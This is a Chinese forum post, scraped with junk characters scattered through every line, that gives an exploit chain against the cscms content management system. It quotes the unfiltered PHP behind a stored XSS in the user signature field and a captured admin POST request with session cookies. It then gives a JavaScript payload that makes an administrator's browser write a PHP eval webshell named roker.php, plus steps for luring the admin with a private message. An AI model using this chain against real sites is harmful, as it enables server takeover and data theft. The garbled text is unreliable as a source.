|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
) L: S- E; j& Y: A5 C: {. O& @2 }: L官网已经修补了,所以重新下了源码
) ^8 m! F6 V/ i7 E' z# G因为 后台登入 还需要认证码 所以 注入就没看了。' G' V% C( i5 h% S% E7 E+ }9 X
存在 xss
) z* Y k8 x; f" w+ m漏洞文件 user/member/skin_edit.php
c; G0 s2 Z% q) C9 o% O1 G1 I本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
' `3 H3 R5 v* Y; D- v: J# Y
" B3 S6 |6 Z+ ], `' g4 g- Y, A</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>+ ]+ ?" _! P$ h2 W
6 ]1 A+ m& I( p! v1 N+ T
</textarea></td></tr>! W e) c" i0 ]6 V
& v9 j' t, T" I4 C: T
user/do.php
0 E8 L3 k2 Q+ X6 Z2 f5 T0 P1 G" M4 E) X' J5 J3 l7 w
) z, X! j* E3 E
if($op=='zl'){ //资料
* x6 k. }' {" ^ , K# U- e- \- J0 ?: [ f( ]
if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
: O5 U8 G3 R a+ ?& o6 q exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));6 D! f5 W' C& O4 k1 b
- c" Q9 i) P) D+ o $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
; M1 h2 {* l6 F. L * H5 q- @. f' h3 ]
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'5 I8 G3 m, N4 w5 W
where CS_Name='".$cscms_name."'";
* s8 q" U& R W & h7 j1 V$ j) A/ O* `, d; _1 j
if($db->query($sql)){' O) h" U2 [; G% `
/ q! l4 n7 G$ b, {# d: d0 M exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
7 O, ^3 a6 o. u1 W
9 y. I) _& Z) |) h0 P! }3 j& w }else{
5 g8 h' y* e4 K& V6 F ! ~# X- }. i! p/ \
exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
. t4 O8 R. C! k6 T: g' t7 Q 9 i+ z; _; U ], V
}
$ [% r% g3 n: {
. S" C( F. h2 U6 q: d0 o. a
/ W5 F6 O% z( j( O; k+ H# G Z1 ~7 R没有 过滤导致xss产生。' N" m/ |! I& c& R: u/ r) x
后台 看了下 很奇葩的是可以写任意格式文件。。
' u( V) D: H' N7 M3 e+ b1 z抓包。。7 a9 v5 V* {# u
; |- k" A2 _+ E# G3 B% E
; m y8 H& i& \* [
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1- x6 `# m: ?) K
9 t! i6 B" h" T( b. hAccept: text/html, application/xhtml+xml, */*
# {" |! g3 l, l a
, S( j$ V0 D* J# j7 p3 Q7 U& dReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
1 F2 ?" Q; e" }# W! K2 }5 ?% b; ~ 5 X* A; a4 [: A& f2 V8 |5 y
Accept-Language: zh-CN
3 ?1 Y+ R9 Q+ [6 |" ^( S% Y' Z3 v! o l + J4 |6 C- o6 ?0 E+ ^
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)( _# m: S, k- ~* W6 g" z, u$ \6 K
7 C( V% a4 l$ e" R2 o* i9 b
Content-Type: application/x-www-form-urlencoded
, d n( T6 l# p" p4 t# e
7 N, {$ [& X* c" E" f& D AAccept-Encoding: gzip, deflate
& @ B% A4 x8 w& m6 s: }
1 i K+ I; `: S% K9 t& bHost: 127.0.0.1
' Y. e9 x, E$ R0 d2 _4 {$ |2 M 7 U) q% o2 y2 c6 u1 U, G
Content-Length: 38" {/ k" Q& n: E
4 G% g9 H7 i- P6 y4 _1 r" l4 O
DNT: 1
* ~. j; V5 |' R2 u, c0 y
( Z# y. m4 P5 x4 D& M" pConnection: Keep-Alive( |- b. o/ h0 o9 S' h0 [9 u
) W( ?' @$ \8 r5 w* ?0 C
Cache-Control: no-cache$ [: t1 A+ o Q
3 n( o1 h) _- aCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
9 t5 a( ^+ ?% ]8 D v0 X4 Y( G$ a: m/ B! z6 ^
( a+ s# m1 H* n2 }* N sname=aaa.php&content=%3Cs%3E%3Ca%25%3E$ V; B7 q" g; V9 w
2 Z5 \+ [/ M) u$ ]6 x- ~; c9 r3 S* x P% U
- ~5 E# U' A$ [% _ s于是 构造js如下。
9 r0 p9 F: n3 w; |% v: [8 G8 t* [* O1 P0 [
本帖隐藏的内容<script> 6 s6 R4 g. `0 `9 p0 E
thisTHost = top.location.hostname;/ }& ~# d6 `* p3 f. ]- }
* ^ p( M6 c1 f+ ?$ a# |% O+ vthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";8 _$ {: Y+ K, ^8 U$ e4 J4 H" Z. B
8 i9 Z) I6 @: u# Z+ R" q9 k0 wfunction PostSubmit(url, data, msg) {
$ s6 i+ V r4 x" }$ v var postUrl = url;; \; ]& D/ n" t
* e* |: |$ o, A, a: D) l
var postData = data;
' ?# h; a' Z }" r! r var msgData = msg; " o6 o! R) S) ]) k3 c! N8 x9 v- t
var ExportForm = document.createElement("FORM"); : Z& M* U/ u$ u7 L: G# o( @) \
document.body.appendChild(ExportForm);
( g1 O4 c$ j/ ]7 ?' ~3 e ExportForm.method = "POST";
3 r0 j2 {' J( F var newElement = document.createElement("input"); + H! {, P/ C5 Q4 b! T' q: L
newElement.setAttribute("name", "name"); * h* h+ V+ |# d
newElement.setAttribute("type", "hidden");
/ p7 k1 L$ F/ W& t$ s! | var newElement2 = document.createElement("input");
+ m' X% j/ P" z newElement2.setAttribute("name", "content");
2 }1 S: |* [! u& `8 g; w# W newElement2.setAttribute("type", "hidden");
" ^" r. G/ Y8 T& d3 W ExportForm.appendChild(newElement); % G- C9 }1 E' ^' B. T7 a
ExportForm.appendChild(newElement2); / B X A/ `; q' I' }0 R
newElement.value = postData; ' F% t8 V5 r7 k3 B4 d" g
newElement2.value = msgData; 1 F0 @! N. c1 k V: u
ExportForm.action = postUrl; & d# ?( i7 w- T
ExportForm.submit(); + @( V+ }- n8 U& s
};" V5 e9 ]$ ^ X- w
5 G$ L8 {% Z- o8 r# z) PPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");/ V. G9 Q! X( E$ E- z& A7 W( c
+ t' I# E& c9 V/ s7 o( Y
</script>
( r0 |6 `; n* N/ I3 i5 k% o
' T; ~' S% ?8 ^% X' P- Y6 r& d" M3 I: A
' O- D- Y4 D9 C' o$ ]http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
4 N& b7 ~' z7 t9 s2 k用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
& c' b y b! u* s就会 在 skins\index\html\目录下生成 roker.php 一句话。 | 5 y4 c9 `+ B4 u! h3 v
|
|